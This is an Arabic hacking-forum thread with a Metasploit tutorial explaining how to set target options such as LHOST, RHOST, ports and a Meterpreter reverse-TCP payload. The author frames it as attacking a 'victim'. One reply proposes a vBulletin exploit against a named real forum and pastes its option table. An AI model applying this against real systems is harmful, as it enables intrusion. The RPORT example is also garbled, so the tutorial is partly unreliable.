التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام


العودة   :: vBspiders Professional Network :: > [ ::. قـسم الأختراق المتقدم .:: Advanced Hacking Section .:: ] > MetaSploit

إضافة رد
 
LinkBack أدوات الموضوع انواع عرض الموضوع
قديم 09-19-2009, 03:57 PM   رقم المشاركة : 1 (permalink)
معلومات العضو
المجهووول
Mr.AlmjH00l SnaK3sPc T34M
 
الصورة الرمزية المجهووول
 

 

 
إحصائية العضو





المجهووول غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
المجهووول is on a distinguished road

افتراضي [الدرس الثالث]ادخال معلومات الهدف الى خيارات الثغرة(مهم)


بسم الله الرحم الرحيم
السلام عليكم ورحمة الله وبركاتة

اليوم درسنا الدرس الثالث ان شاء الله رح يكون عن ادخال معلومات الهدف في خيارات الثغرة لأستغلالها بالشكل الصحيح
نبدأ على طول على بركة الله .. للعلم هذا الدرس اساسي في اعتمادك على الاختراق وهو يعتمد في عملية الاستهداف على 99% اذا لم يكن 100%
اول امر وهو

كود PHP:
set 
تطرقنا له في الدرس الثاني .. لأظهار خيارات الثغرة show options وهذا الامر موضح بالدرس السابق ..وبهذا الامر تستطيع معرفة ماذا ستستعملانظر تحت v_v
نشوف الآن كيف يكون الامر
كود PHP:
set LHOST 192.168.1.151 
يستخدم لادخال اي بي جهازنا ضمن خيارات الثغرة لتصنت عن طريقة او وصول تبليغ

كود PHP:
set RHOST 192.168.5.110 
يستخدم هذا ايضا لادخال اي بي جهاز الضحية يعني باختصار ي بي الهدف

كود PHP:
set LPORT 4444 
ادخال البورت الذي ستستخدمه في التصنت ولك الحق بوضع اي رقم بورت تريده وهذا يستخجم في حال انت تستخدم بايلود اتصال عكسي او ثغرة اتصال عكسي reverse
كود PHP:
set RPORT 192.168.5.151 
لأدخال بورت الهدف بتاع الضحية الى خيارات الثغرة ويستخدم هذا في حال الاتصال المباشر bind
###
كود PHP:
set PAYLOAD windows/meterpreter/reverse_tcp 
يستخدم لتحديد البايلود الذي نريد استخدامه في عملية الاختراق وان شاء الله رح يكون درس كامل عن هذه البايلود لخطورتها وسهولة استعمالها وقوتها

كود PHP:
set PATH /vb
هنا لتحديد المسار انا وضعت vb لمثال وانما في بعض تطلب مسارات اخرى لكن اللي يهمني هو الدال عليه وهو PATH وهو المسار المراد استخدام بشكل عام بأي ثغرة سواء كان تحديد مسار سكربت او تحديد ملف لأستعماله في الاختراق سواء سيرفر او غيره
كود PHP:
set VHOST host.com 
هنا لتحديد رابط الاستضافة في حال كنا نستهدف موقع نادرا ما تلاقي هذا الخيار

كود PHP:
set SRVPORT 80 
يستخدم لأدخال البورت في حال استخدام احد ثغرات المتصفح .. وهذا الخيار لا ياتي الا في ثغرات المتصفح browser هذا على حسب استعمالي اني لم اجدها في اي ثغرات اخرى غير ثغرات المتصفح وفي هذه الحالة فيك تضع 80 او 8080 او اي بورت غيره
ويلزم يكون البورت الذي تريد وضعه يكون مفتوح عندك ويفضل وضع 80 لانه للمتصف http وانت الان تتصفح انظر فوق اول رابط الموقع مكتوب http وهو بورت 80 اذا اكيد يكون مفتوح تلقائي يعني ما بتشوفه مفتوح بالرواتر هذا على حسب استنباطي
كود PHP:
set SRVHOST 0.0.0.0 
يسخدم ايضا هذا الخيار فقط تلقاه في ثغرات المتصفح هذا تضع به الاي بي جهازك.. واذا تركته مثل ما هو SRVHOST 0.0.0.0 رح يتم الاستغلال تلقائي يعني وضع اي بي جهازك تلقائي فيفضل ان لا تعدل عليه لانه رح يتم تلقائي وضع اي بي جهازك يعني رح تشوفه في خيارات الثغرة هكذا 0.0.0.0

كود PHP:
set URIPATH arhacker.html 
يستخدم هذا الامر لوضع رابط وايضا هذا يستخدم في ثغرات المتصفح يعني يمكن ما تلاقيه بثغرات اخرى << لست متذكر اني لم اجده في ثغرات اخرى

الى هنا ينتهي الدرس بحمد الله
اي استفسار ضعه هنا وان شاء الله يتم الرد واذا لم اكن موجود فألاعضاء ما يقصرون معك بأذن الله
ان شاء الله الدرس الرابع رح اتطرق لانواع البايلود واهميتها ووظيفتها
####
تحياتي
لا للاحتكار
المجهوول


Fhg]vs hgehgeDh]ohg lug,lhj hgi]t hgn odhvhj hgeyvm(lil)

   

رد مع اقتباس
قديم 09-19-2009, 04:01 PM   رقم المشاركة : 2 (permalink)
معلومات العضو
 
الصورة الرمزية 741D4r
 

 

 
إحصائية العضو





741D4r غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
741D4r is on a distinguished road

افتراضي


حياك الله يالمجهول بارك الله بيك
نور الله دربك

   

رد مع اقتباس
قديم 09-19-2009, 06:35 PM   رقم المشاركة : 3 (permalink)
معلومات العضو
المجهووول
Mr.AlmjH00l SnaK3sPc T34M
 
الصورة الرمزية المجهووول
 

 

 
إحصائية العضو





المجهووول غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
المجهووول is on a distinguished road

افتراضي


الله ينورك بأنوار النبي الخير اخي

موفق بمسيرتك وان شاء الله نتعلم انا على ييدك خخ :D
##
تحياتي
لا للاحتكار
المجهوول

   

رد مع اقتباس
قديم 09-20-2009, 04:36 AM   رقم المشاركة : 4 (permalink)
معلومات العضو
 
إحصائية العضو







ابو بدر غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 11
ابو بدر is on a distinguished road

افتراضي


مشكوووووور واصل تألقك
انتظر كامل الدورة

   

رد مع اقتباس
قديم 09-20-2009, 10:43 PM   رقم المشاركة : 5 (permalink)
معلومات العضو
 
الصورة الرمزية data$hack
 

 

 
إحصائية العضو







data$hack غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
data$hack is on a distinguished road

افتراضي


السلام عليكم بارك الله فيك اخي

التوقيع


data$hack : EIP HUNTER


Ninja-security team
http://Pentest101.blogspot.com

 

   

رد مع اقتباس
قديم 09-21-2009, 01:48 PM   رقم المشاركة : 6 (permalink)
معلومات العضو
KaLa$nikoV
VBSPIDERS TEAM

#~VoLc4n0~#

 
الصورة الرمزية KaLa$nikoV
 

 

 
إحصائية العضو







KaLa$nikoV غير متواجد حالياً

إرسال رسالة عبر MSN إلى KaLa$nikoV

 

 

إحصائية الترشيح

عدد النقاط : 11
KaLa$nikoV is on a distinguished road

افتراضي


مشكور يا قلبي على الشرح الرائع والمتميز

واصل ابداعك

التوقيع



هل سأعود يوما
ام هي نهايه الطريق !!
إلهيْ ’ / أبدل عُسَرِنا يسُراً


لا تنسونا من دعائكم







سبحان الله والحمدلله ولا اله الا الله والله اكبر
fb.com/groups/VoLc4n0/
volc4n0@hotmail.com

 

   

رد مع اقتباس
قديم 09-26-2009, 02:31 PM   رقم المشاركة : 7 (permalink)
معلومات العضو
 
الصورة الرمزية malekalnet
 

 

 
إحصائية العضو





malekalnet غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
malekalnet is on a distinguished road

افتراضي


درس قيم الله يعطيك العافيه

   

رد مع اقتباس
قديم 10-01-2009, 05:51 PM   رقم المشاركة : 8 (permalink)
معلومات العضو
 
الصورة الرمزية ziko90
 

 

 
إحصائية العضو





ziko90 غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
ziko90 is on a distinguished road

افتراضي


بارك الله فيك اخي

   

رد مع اقتباس
قديم 11-13-2009, 02:57 AM   رقم المشاركة : 9 (permalink)
معلومات العضو
 
إحصائية العضو






ThE BiGeSt JoKeR غير متواجد حالياً

إرسال رسالة عبر Skype إلى ThE BiGeSt JoKeR

 

 

إحصائية الترشيح

عدد النقاط : 10
ThE BiGeSt JoKeR is on a distinguished road

افتراضي


مشكووووور يا بطل

شرح وااافي و كاااافي و رااائع

اقتباس
كود PHP:
set VHOST host.com

هنا لتحديد رابط الاستضافة في حال كنا نستهدف موقع نادرا ما تلاقي هذا الخيار


رووعه

عندي عندي استفسار في مخي مو قادر اخفيه

ليه ادخل رابط موقع الاستضافه
شو فايدته <<<<<سؤال تافه -_- << بررررررررررررى

عندك موقع www.israelforum.com

الثغره unix/webapp/php_vbulletin_template
السكربت او البرنامج
vBulletin misc.php Template Name Arbitrary Code
يعني الابتسامات

شوف الـ show options

تابع ...

   

رد مع اقتباس
قديم 11-13-2009, 02:57 AM   رقم المشاركة : 10 (permalink)
معلومات العضو
 
إحصائية العضو






ThE BiGeSt JoKeR غير متواجد حالياً

إرسال رسالة عبر Skype إلى ThE BiGeSt JoKeR

 

 

إحصائية الترشيح

عدد النقاط : 10
ThE BiGeSt JoKeR is on a distinguished road

افتراضي


Name Current Setting Required Description
---- --------------- -------- -----------
PATH || /forum/misc.php || yes || Path to misc.php
Proxies || || no || Use a proxy chain
RHOST|| || yes || The target address
RPORT|| 80 || yes || The target port
SSL|| false || || no || Use SSL
VHOST|| || no || HTTP server virtual host

تابع ...


التعديل الأخير تم بواسطة ThE BiGeSt JoKeR ; 11-13-2009 الساعة 03:01 AM.

   

رد مع اقتباس
قديم 11-13-2009, 03:03 AM   رقم المشاركة : 11 (permalink)
معلومات العضو
 
إحصائية العضو






ThE BiGeSt JoKeR غير متواجد حالياً

إرسال رسالة عبر Skype إلى ThE BiGeSt JoKeR

 

 

إحصائية الترشيح

عدد النقاط : 10
ThE BiGeSt JoKeR is on a distinguished road

افتراضي


هي مو مهمه كما في الفقره Required

on

بس اذا كتبت شو بيصير ^^

سؤال غبي صح

بس مدري يعني اذا كتبت الاستضافه اش اللي راح يحصل في الموقع


اذا شايف انه ما له داعي اوك لا تجاوب

و شكرا لعى الدرس ^^

   

رد مع اقتباس
قديم 11-13-2009, 02:20 PM   رقم المشاركة : 12 (permalink)
معلومات العضو
المجهووول
Mr.AlmjH00l SnaK3sPc T34M
 
الصورة الرمزية المجهووول
 

 

 
إحصائية العضو





المجهووول غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
المجهووول is on a distinguished road

افتراضي


V host واضحة تعني رابط الاستضافة وتسال ليش هذا يرجع للمصمم الميتا
من ناحيتي رابط الاستضافة لكي تأخذ معلومات حول البورتات وهل مفتوحة لتفذ الغرة وعمل test قبل التجربة
هذا والله اعلم

   

رد مع اقتباس
قديم 11-13-2009, 02:25 PM   رقم المشاركة : 13 (permalink)
معلومات العضو
 
إحصائية العضو






ThE BiGeSt JoKeR غير متواجد حالياً

إرسال رسالة عبر Skype إلى ThE BiGeSt JoKeR

 

 

إحصائية الترشيح

عدد النقاط : 10
ThE BiGeSt JoKeR is on a distinguished road

افتراضي


اقتباس
V host واضحة تعني رابط الاستضافة وتسال ليش هذا يرجع للمصمم الميتا
من ناحيتي رابط الاستضافة لكي تأخذ معلومات حول البورتات وهل مفتوحة لتفذ الغرة وعمل test قبل التجربة
هذا والله اعلم


شكرا لك على التوضيح

   

رد مع اقتباس
قديم 11-13-2009, 05:43 PM   رقم المشاركة : 14 (permalink)
معلومات العضو
 
الصورة الرمزية تجربه
 

 

 
إحصائية العضو





تجربه غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
تجربه is on a distinguished road

افتراضي


بارك الله فيك يامجهول وياليت اللع يعطيك العافيه تشرحلنا بصووره تعرف مبتدا بالميتا ولك الف شكر

   

رد مع اقتباس
قديم 11-16-2009, 10:15 PM   رقم المشاركة : 15 (permalink)
معلومات العضو
المجهووول
Mr.AlmjH00l SnaK3sPc T34M
 
الصورة الرمزية المجهووول
 

 

 
إحصائية العضو





المجهووول غير متواجد حالياً

 

 

إحصائية الترشيح

عدد النقاط : 10
المجهووول is on a distinguished road

افتراضي


ما اظن يوجد تبسيط اكثر من ذلك
لكن النقطة اللي مش فاهمها قول لي اياها
ولا تنسى تتابع الدروس من اول درس
تحياتي
لا للاحتكار

   

رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)


تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة
Trackbacks are متاحة
Pingbacks are متاحة
Refbacks are متاحة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
[ الدرس الثالث والعـشرون ] كشف التلغيم واستخراج معلومات الملغم عن طريق برنامج smsniff SoLiTair4Ever حمـــاية الأجهــزة وانظمتـــها 0 03-30-2010 07:15 AM


الساعة الآن 03:26 AM


[ vBspiders.Com Network ]

SEO by vBSEO 3.6.0